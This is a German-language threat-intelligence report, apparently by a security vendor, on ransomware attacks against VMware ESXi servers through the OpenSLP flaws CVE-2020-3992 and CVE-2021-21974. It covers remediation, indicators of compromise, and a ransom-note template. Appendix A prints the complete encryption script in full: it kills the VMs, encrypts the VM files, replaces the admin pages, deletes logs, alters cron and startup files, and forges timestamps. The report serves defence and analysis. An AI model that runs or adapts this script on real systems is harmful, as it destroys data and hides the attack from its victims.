VMware ESXi im Ransomware-Visier

Server, auf denen der beliebte Virtualisierungshypervisor VMware ESXi läuft, wurden in der vergangenen Woche von mindestens einer Ransomware-Gruppe angegriffen. Das geschah wahrscheinlich im Anschluss an Scan-Aktivitäten, um Hosts mit OpenSLP-Schwachstellen (Open Service Location Protocol) zu identifizieren.

Berichten zufolge haben die Bedrohungsakteure ungepatchte Systeme mit den Sicherheitslücken CVE-2020-3992 und CVE-2021-21974 ausgenutzt, worüber Remote-Codeausführung möglich war.

Nachdem die Bedrohungsakteure einen Host mit Schwachstelle gefunden und ausgenutzt haben, führen sie einen Ransomware-Payload aus, der die ESXi-Konfiguration ändert. Anschließend werden die mit den virtuellen Maschinen verknüpften Dateien verschlüsselt und schließlich wird eine opferspezifische Lösegeldforderung zugestellt, mit Zahlungsdetails.

Diese Lösegeldforderung legt zwar nahe, dass Daten gestohlen wurden, dies muss jedoch noch bestätigt werden. In den beobachteten Proben liegt kein offensichtlicher Datenübertragungscode vor. Jeder Angreifer, der die Möglichkeit hat, Code auf einem kompromittierten Computer auszuführen, kann jedoch problemlos handelsübliche Dienstprogramme verwenden, um Daten vor der Verschlüsselung zu exfiltrieren.

Von den bisher beobachteten Vorfällen scheint eine RaaS-Gruppe (Ransomware-as-a-Service) namens Nevada, die vermutlich seit Ende 2022 aktiv ist, für viele dieser jüngsten Angriffe verantwortlich zu sein. Hierbei ist anzumerken, dass ihre Lösegeldforderung viele Ähnlichkeiten mit der von Cheerscrypt aufweist, einer Ransomware-Bedrohung, die Anfang bis Mitte 2022 auf ESXi abzielte.

Da diese Bedrohung über längere Zeit aktiv ist, wird Organisationen, die VMware ESXi Version 7.x und früher verwenden, empfohlen, sicherzustellen, dass ihre Installationen dringend korrekt gepatcht werden.

Nevada-Ransomware-Gruppe

Nevada wird weithin mit den Angriffen auf anfällige VMware-ESXi-Server in Verbindung gebracht; insbesondere wird die Gruppe verdächtigt, umfassende Scanning-Aktivitäten vorzunehmen, um VMware-ESXi-Hosts zu identifizieren, die für CVE-2020-3992 und/oder CVE-2021-21974 anfällig sind. Dabei werden die folgenden IP-Adressen verwendet:

43.130.10[.]173 
104.152.52[.]55 
193.163.125[.]138

Wie auch andere RaaS-Gruppen hat Nevada zuvor in Cybercrime-Foren Partner angeworben. Als Gegenleistung für die Bereitstellung des Ransomware-Payloads und der unterstützenden Infrastruktur erhält die Gruppe von jedem Opfer, das eine Lösegeldzahlung leistet, je nach Status des Partners eine Provision von 10–15 %.

Laut ihren eigenen Cybercrime-Forenbeiträgen stellt Nevada seinen Partnern einen in Rust geschriebene „Locker“-Payload (Verschlüsselung) zur Verfügung. Dieser unterstützt Linux-, Windows- und VMware-ESXi-Hosts, wobei es eben für VMware ESXi in letzter Zeit mehr Schwachstellen-Scans und Ransomware-Angriffe gab.

Nevada gibt an, dass sie in ihrem Multi-Threading-Verschlüsselungspayload AES und elliptische Kurven-Kryptographie (ECC) verwenden, um die Dateien der Opfer in „Streifen“ zu verschlüsseln. So werden die Daten unzugänglich, während gleichzeitig eine hohe Leistung gewährleistet wird und die Zeit bis zum Abschluss des Verschlüsselungsvorgangs verkürzt wird.

Nevada stellt nicht nur den eigentlichen (opferspezifischen) Ransomware-Payload zur Verfügung, mit dem die Daten der Opfer verschlüsselt werden, sondern bietet seinen Partnern auch Zugang zu einem Bedienfeld, über das sie mit den Opfern verhandeln können.

Sicherheitslücken

Die folgenden VMware-ESXi-Schwachstellen (im Zusammenhang mit der OpenSLP-Implementierung) wurden bei diesen jüngsten Vorfällen ausgenutzt:

• CVE-2020-3992
• CVE-2021-21974

Der erste Schritt für Unternehmen besteht darin, die Ratschläge der ursprünglichen VMware-Sicherheitshinweise zu befolgen und sicherzustellen, dass ihre Installationen sowohl vollständig gepatcht sind als auch – im Falle von ESXi 6.5 und 6.7 – von ihrem Hersteller unterstützt werden, da der allgemeine Support für diese Installationen im Oktober 2022 endet.

Falls das Ihre Umgebung betrifft, finden Sie Einzelheiten zu einer temporären Problemumgehung, die den SLP-Dienst deaktiviert, im VMware-Knowledgebase-Artikel 76372.

CVE-2020-3992

Im VMware-Sicherheitshinweis VMSA-2020-0023.3 wird beschrieben, dass eine OpenSLP Use-After-Free-Sicherheitslücke von Bedrohungsakteuren ausgenutzt werden kann, die über Port 427 auf einen ESXi-Host zugreifen, um Remote-Code auszuführen.

Best Practices würden zwar den Zugriff bestimmter Hosts innerhalb eines Verwaltungsnetzwerks auf diesen Port einschränken, doch Bedrohungsakteure, die in einem kompromittierten Netzwerk tätig sind, bzw. ESXi-Hosts, die versehentlich mit dem Internet verbunden sind, könnten zu einer Situation führen, in der diese Sicherheitsanfälligkeit aus der Ferne ausgenutzt werden kann.

Mit einer CVSS-v3-Bewertung von 9.8 wird diese Sicherheitslücke als kritisch eingestuft und betrifft die VMware-ESXi-Versionen 6.5, 6.7 und 7.0.

CVE-2021-21974

Im VMware-Sicherheitshinweis VMSA-2021-0002 wird eine OpenSLP-Heap-Overflow-Schwachstelle beschrieben, die von einem Bedrohungsakteur mit Zugriff auf einen ESXi-Host über Port 427 ausgenutzt werden kann, um die Remote-Codeausführung zu ermöglichen.

Wie im vorherigen Szenario muss sich der Bedrohungsakteur im selben Netzwerk wie der ESXi-Host befinden. Dennoch können versehentlich offenliegende Hosts (nach denen die Bedrohungsakteure bei diesen Vorfällen gesucht haben) den Exploit ebenfalls ermöglichen.

Diese Sicherheitsanfälligkeit ist zwar nicht so schwerwiegend wie CVE-2020-3992, wurde jedoch mit einem CVSS-v3-Wert von 8.8 bewertet und wird daher als wichtig betrachtet. Diese Sicherheitsanfälligkeit betrifft auch die VMware-ESXi-Versionen 6.5, 6.7 und 7.0.

Ransomware-Payload

Ein ausführbares Linux-Verschlüsselungsprogramm („encrypt“) und ein zugehöriges Shell-Skript („encrypt.sh“) werden weithin der Ransomware-Gruppe Nevada zugeschrieben. Es wurde beobachtet, dass sie auf kompromittierten VMware ESXi-Hosts abgelegt und zur Verschlüsselung von Dateien virtueller Maschinen verwendet wurden.

Zusätzlich zu diesen beiden Dateien gibt das Shell-Skript an, dass die folgenden Dateien ebenfalls auf einem kompromittierten Host vorhanden sind:

• index.html – eine Lösegeldforderung, die als Ersatz für die VMware-ESXi-Verwaltungsseiten verwendet wurde
• motd – eine Lösegeldforderung, die beim Systemstart/-login angezeigt wird
• public.pem – ein öffentlicher Schlüssel, der für die Verschlüsselung verwendet wird
• archieve.zip – potenziell ein Archiv, das die Ransomware-Nutzlast enthält

Beendigung der virtuellen Maschine

Vor dem Start der Verschlüsselungsphase verwendet das Ransomware-Shell-Skript die integrierte ESX-Befehlszeilenschnittstelle „esxcli“, um die Konfigurationsdatei der einzelnen virtuellen Maschinen zu identifizieren.

In jeder dieser Konfigurationsdateien wird an die Dateinamen des virtuellen Datenträgers (.vmdk) und der virtuellen Auslagerungsdatei (.vswp) vor der Dateierweiterung die Zahl 1 angehängt. „myvirtualmachine.vmdk“ wird dadurch zu „myvirtualmachine1.vmdk“:

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

Diese Aktion erhöht die Zeit und Komplexität der Wiederherstellung, da die Konfigurationsdateien alle neu erstellt werden müssen, um auf die korrekten Dateipfade zu verweisen.

Nach dem Ändern der Konfigurationsdateien wird jede virtuelle Maschine identifiziert, indem die Ausgabe der aktuell ausgeführten Prozessliste durchsucht und jeder Prozess beendet wird, der die Zeichenfolge „vmx“ enthält:

kill -9 $(ps | grep vmx | awk '{print $2}')

Verschlüsselung

Nachdem alle virtuellen Maschinen zwangsweise beendet wurden und sichergestellt wurde, dass die Zieldateien nicht offen gesperrt sind, fährt das Shell-Skript mit der Verschlüsselungsphase fort und beginnt damit, dem Verschlüsselungs-Payload Ausführungsberechtigungen zu erteilen:

chmod +x $CLEAN_DIR/encrypt

Mithilfe der ESXi-Befehlszeilenschnittstelle iteriert das Skript durch eine Liste von Dateisystemvolumes der virtuellen Maschine, die nach den folgenden Dateitypen durchsucht werden:

• .vmdk – Container für virtuelle Laufwerke
• .vmx – primäre Konfiguration
• .vmxf – ergänzende Konfiguration
• .vmsd – Momentaufnahmen-Metadaten
• .vmsn – Speicherstatus der Momentaufnahme
• .vswp – Auslagerungsdateispeicher
• .vmss – „Anhalten“-Status
• .nvram – CMOS/BIOS
• .vmem – Speicherauslagerung

Die Größe der Dateien, die in diesem Prozess gefunden werden, wird berechnet, um zu bestimmen, wie sie verarbeitet werden. Diejenigen, die kleiner als 128 MB sind, werden dabei vollständig verschlüsselt und die größeren Dateien werden „schrittweise“ verschlüsselt.

Die für den Verschlüsselungsprozess verwendete Schrittgröße wird berechnet, indem die Dateigröße in MB durch 100 dividiert und dann 1 subtrahiert wird:

if [[ $(($size_kb/1024)) -gt 128 ]]; then 

  size_step=$((($size_kb/1024/100)-1)) 

fi 

In Anbetracht der großen Dateien, die in virtuellen Maschinen verwendet werden, wird dieser Ansatz die meisten Dateien unzugänglich machen, ohne dass dafür all Daten verschlüsselt werden müssen (was viel Zeit in Anspruch nehmen würde).

Vor der Ausführung des Verschlüsselungsprozesses werden die Befehlszeilenargumente in einer Textdatei gespeichert, die nach der aktuellen Zieldatei benannt wird, mit „.args“-Dateierweiterung, beispielsweise: „myvirtualmachine1.vmdk.args:“

echo $size_step 1 $((size_kb*1024)) > "$file_e.args"

Vermutlich unterstützt dies den Entschlüsselungsprozess durch Aufzeichnen der Verschlüsselungsschrittgröße.

Unter Verwendung der berechneten Schrittgrößenargumente und unter Angabe der öffentlichen Schlüsseldatei „public.pem“ wird der Verschlüsselungs-Payload mit dem nohup-Befehl (no hang up) ausgeführt. So wird sichergestellt, dass der Prozess auch dann weiterläuft, wenn sich der Benutzer (Bedrohungsakteur) abmeldet:

nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

Insbesondere die Ausführung des Verschlüsselungs-Payloads ohne Parameter liefert uns eine hilfreiche Erklärung:

usage: encrypt   [] [] [] 

 enc_step - MB-Menge, die während der Verschlüsselung übersprungen werden soll 

 enc_size - MB-Menge im Verschlüsselungsblock 

 file_size - Dateigröße in Byte (für Sparse-Dateien) 

Lösegeldforderungen

Sobald die Verschlüsselungsphase abgeschlossen ist, sucht das Shell-Skript unter /usr/lib/vmware nach Dateien mit dem Namen „index.html“. Nachdem es die Originale in „index1.html“ umbenannt hat, speichert es an diesem Ort eine index.html-Ersatzdatei mit der Lösegeldforderung ab:

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

Zu diesem Zeitpunkt erhält jeder Administrator, der versucht, auf die ESXi-Administrationsoberfläche zuzugreifen, eine Lösegeldforderung (Abbildung 1), die eine opferspezifische Bitcoin-Wallet-Adresse enthält.

Mögliche Speicherorte für diese index.html-Dateien sind:

/usr/lib/vmware/hostd/docroot 

/usr/lib/vmware/hostd/docroot/ui/ 

Um sicherzustellen, dass die Lösegeldforderung jedem Administrator angezeigt wird, der sich über die Konsole oder SSH auf dem kompromittierten ESXi-Host anmeldet, wird zusätzlich die motd-Datei (Meldung des Tages) umbenannt und ersetzt:

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd

Ähnlichkeiten zu anderen Lösegeldforderungen

Wie bereits in diesem Artikel erwähnt ähneln die Lösegeldforderungen, die bei diesen jüngsten Vorfällen beobachtet wurden, jenen der Cheerscrypt-Ransomware – einer Bedrohung, die ebenfalls auf VMware-ESXi-Server abzielt und erstmals im zweiten Quartal 2022 beobachtet wurde.

Hallo! 

 

-------------------------------------------------------------------------------- 

 

-------------------------------------------------------------------------------- 

 

Sicherheitsmeldung!!!  

Wir haben Ihr Unternehmen erfolgreich gehackt 

Alle Dateien wurden gestohlen und von uns verschlüsselt 

Wenn Sie Dateien wiederherstellen oder Dateilecks vermeiden möchten, kontaktieren Sie uns bitte 

 

 -------------------------------------------------------------------------------- 

 

 Achtung!!!   

Kontaktieren Sie uns innerhalb von 3 Tagen, sonst werden wir einen Teil der Daten preisgeben und den Preis erhöhen 

Versuchen Sie nicht, wichtige Dateien zu entschlüsseln, diese können dabei beschädigt werden

Vertrauen Sie niemandem, der behauptet, sie entschlüsseln zu können – das sind Lügner, niemand kann ohne die Schlüsseldatei entschlüsseln 

Wenn Sie uns nicht kontaktieren, werden wir Ihre Kunden per E-Mail und SMS über die Datenschutzverletzung informieren 

und Ihre Daten an Ihre Konkurrenten oder Kriminelle verkaufen, die Daten können veröffentlicht werden 

 

 -------------------------------------------------------------------------------- 

 

 Informationen 

 

 Website-Live-Chat 

Sie können diese Website besuchen und uns über Widgets kontaktieren oder unsere E-Mail-Adresse von dieser Website erhalten： 

hXXp://.onion  

 

Datenfreigabe-Website  

Wenn Sie nicht bezahlen und niemand Ihre Daten kaufen möchte, erscheinen sie hier.  

hXXp://rwiajgajdr4kzlnrj5zwebbukpcbrjhupjmk6gufxv6tg7myx34iocad.onion  

 

 

----------------------------------------------------------------------------------------------------------------------------

 

 Hinweis 

Wie greift man auf URLs mit Onion-Anhang zu? 

hXXps://www.comparitech[.]com/blog/vpn-privacy/access-dark-web-safely-vpn/  

 

Oder schauen Sie sich dieses Video an:  

hXXps://www.youtube[.]com/watch?v=4pIi9yTWuRw  

Auch wenn es sich hier nur um ein Plagiat einer Lösegeldforderung handelt, muss man dennoch anmerken, dass Ransomware-Gruppen bereits in der Vergangenheit bekanntermaßen ihren Namen geändert haben.

Basierend auf der Cheerscrypt-Lösegeldforderung und früheren Berichten über ihre Aktivitäten nutzte die Ransomware-Gruppe die Taktik der doppelten Erpressung bei ihren Angriffen und teilte einige gestohlene Daten auf ihrer Tor-Leak-Seite.

Umgekehrt gibt es derzeit keine konkreten Beweise dafür, dass Nevada eine Datenexfiltration durchgeführt hat, obwohl das durchaus möglich ist.

Empfehlungen

Unternehmen, die VMware ESXi verwenden, sollten sicherstellen, dass ihre Installationen gemäß den VMware-Richtlinien gepatcht und auf dem neuesten Stand sind.

Unternehmen, die VMware ESXi Version 6.5 und 6.7 verwenden, müssen möglicherweise den Support-Status ihrer Installationen überprüfen, da das Ende des allgemeinen Supports für beide Versionen auf Oktober 2022 datiert ist.

Sie sollten in Erwägung ziehen, den Zugriff auf Port 427 entweder ganz zu deaktivieren oder einzuschränken, insbesondere aus nicht vertrauenswürdigen Netzwerken.

Falls der Remote-Zugriff auf ESXi-Hosts erforderlich ist, sollte erwogen werden, diese in einem Netzwerk zu platzieren, auf das man nur zugreifen kann, nachdem man sich bei einem VPN authentifiziert hat.

Stellen Sie sicher, dass für ESXi-Hosts regelmäßige Backups durchgeführt werden, die vorzugsweise offline gespeichert werden, und dass die Verfahren für die Notfallwiederherstellung robust, erprobt und getestet sind.

Recovery

The US Cybersecurity and Infrastructure Security Agency (CISA) has released a recovery script for victims of ESXiArgs ransomware attacks.

The recovery script is available from CISA's Github at https://github.com/cisagov/ESXiArgs-Recover

Kompromittierungsindikatoren

Die folgenden Kompromittierungsindikatoren (IOC) werden mit dieser Bedrohung assoziiert

Hinweis: Für die Datei encrypt.sh wurden mehrere kryptografische SHA256-Hashes identifiziert, obwohl diese offenbar auf Unterschieden in Zeilenumbrüchen oder Leerzeichen zurückzuführen sind. Es ist zwar möglich, dass mehrere Versionen im Umlauf sind, der Kerninhalt bleibt jedoch derselbe und diese geringfügigen Unterschiede können dadurch entstehen, dass Muster auf unterschiedlichen Betriebssystemen geöffnet und gespeichert werden.

Darüber hinaus können Protokolle Zugriffsversuche oder Scanaktivitäten von den folgenden IP-Adressen anzeigen:

43.130.10[.]173 

104.152.52[.]55 

193.163.125[.]138 

Es ist anzumerken, dass diese IP-Adressen in der Vergangenheit mit Schwachstellen-Scans in Verbindung gebracht wurden. Es kann sich dabei also um langfristig schädliche Hosts handeln, die von mehreren Bedrohungsakteuren verwendet werden.

Anhang A – Shell-Skript „encrypt“

#!/bin/sh 

CLEAN_DIR="/tmp/" 

 

# SET LIMITS 

 

ulimit -p $(ulimit -Hp) 

ulimit -n $(ulimit -Hn) 

 

## CHANGE CONFIG 

 

for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do 

  echo "FIND CONFIG: $config_file" 

  sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file" 

done 

 

## STOP VMX 

echo "KILL VMX" 

kill -9 $(ps | grep vmx | awk '{print $2}') 

 

## ENCRYPT 

 

chmod +x $CLEAN_DIR/encrypt 

 

for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ' '{print $2}'); do 

  echo "START VOLUME: $volume" 

  IFS=$'\n' 

  for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do 

      if [[ -f "$file_e" ]]; then 

        size_kb=$(du -k $file_e | awk '{print $1}') 

        if [[ $size_kb -eq 0 ]]; then 

          size_kb=1 

        fi 

        size_step=0 

        if [[ $(($size_kb/1024)) -gt 128 ]]; then 

          size_step=$((($size_kb/1024/100)-1)) 

        fi 

        echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))" 

        echo $size_step 1 $((size_kb*1024)) > "$file_e.args" 

        nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& 

      fi 

  done 

  IFS=$" " 

done 

 

## INDEX.HTML 

CLEAN_DIR="/tmp/" 

IFS=$'\n' 

for file_ui in $(find /usr/lib/vmware -type f -name index.html); do 

  path_to_ui=$(dirname $file_ui) 

  echo "FIND UI: $path_to_ui" 

  mv "$path_to_ui/index.html" "$path_to_ui/index1.html" 

  cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html" 

done 

IFS=$' ' 

 

## SSH HI 

 

mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd 

 

## DELETE 

echo "START DELETE" 

 

/bin/find / -name *.log -exec /bin/rm -rf {} \; 

 

A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l) 

while [[ $A -ne 0 ]]; 

do 

  /bin/echo "Waiting for task' completion... ($A)" 

  /bin/sleep 0.1 

  A=$(/bin/ps | /bin/grep encrypt  | /bin/grep -v grep | /bin/wc -l) 

done 

 

if [ -f "/sbin/hostd-probe.bak" ]; 

then 

  /bin/rm -f /sbin/hostd-probe 

  /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe 

fi 

 

B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l) 

if [[ $B -ne 0 ]]; 

then 

  /bin/chmod +w /var/spool/cron/crontabs/root 

  /bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1 

  /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2 

  /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1 

  /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root 

  /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root 

  /bin/chmod -w /var/spool/cron/crontabs/root 

fi 

 

if [[ $B -eq 0 ]]; 

then 

  /bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh 

fi 

 

/bin/rm -f /store/packages/vmtools.py 

/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf 

/bin/echo '' > /etc/rc.local.d/local.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh 

/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh 

 

/bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.pem" $CLEAN_DIR"archieve.zip" 

 

/bin/sh /bin/auto-backup.sh 

/bin/rm -- "$0" 

 

/etc/init.d/SSH start 

Anhang B – HTML-Lösegeldforderung

  <html lang="de"> 

 <head> 
 
 <title>So stellen Sie Ihre Dateien wieder her</title> 
 
 </head> 
 
 <body> 
 
 
 
 <h1>So stellen Sie Ihre Dateien wieder her< /h1> 
 
 
 
 <p><strong><u>Sicherheitsmeldung!!!</u></strong></p> 
 
 <p>Wir haben Ihr Unternehmen erfolgreich gehackt</p> 
 
 < p>Alle Dateien wurden von uns gestohlen und verschlüsselt</p> 
 
 <p>Wenn Sie Dateien wiederherstellen oder Dateilecks vermeiden möchten, senden Sie bitte <b>&lt;LÖSEGELDFORDERUNG_IN_BTC&gt;</b> Bitcoin an die Wallet <b >&lt;WALLET_ADRESSE&gt;</b></p> 
 
 <p>Wenn das Geld eingegangen ist, ist der Verschlüsselungsschlüssel unter <b>TOX_ID verfügbar: &lt;THREAT_ACTOR_TOX_ID&gt;</b></p> 
 
 
 
 <p><strong><u>Achtung!!!</u></strong></p> 
 
 <p>Senden Sie das Geld innerhalb von 3 Tagen, sonst werden wir einige Daten veröffentlichen und den Preis erhöhen</p> 
 
 <p>Versuchen Sie nicht, wichtige Dateien zu entschlüsseln, diese können dabei beschädigt werden</p> 
 
 <p>Glauben Sie niemandem, der behauptet, sie entschlüsseln zu können – das sind alles Lügner, niemand kann ohne die Schlüsseldatei entschlüsseln</p > 
 
 <p>Wenn Sie keine Bitcoin versenden, werden wir Ihre Kunden per E-Mail und SMS über die Datenschutzverletzung informieren</p> 
 
 <p>Und Ihre Daten an Ihre Konkurrenten oder an Kriminelle verkaufen, Daten können veröffentlicht werden</p> 
 
 
 
 <p><strong><u>Hinweis</u> </strong></p> 
 
 <p>SSH ist aktiviert</p> 
 
 <p>Firewall ist deaktiviert</p> 
 
 
 
 <br> 
 
 </body> 
 
 </ html>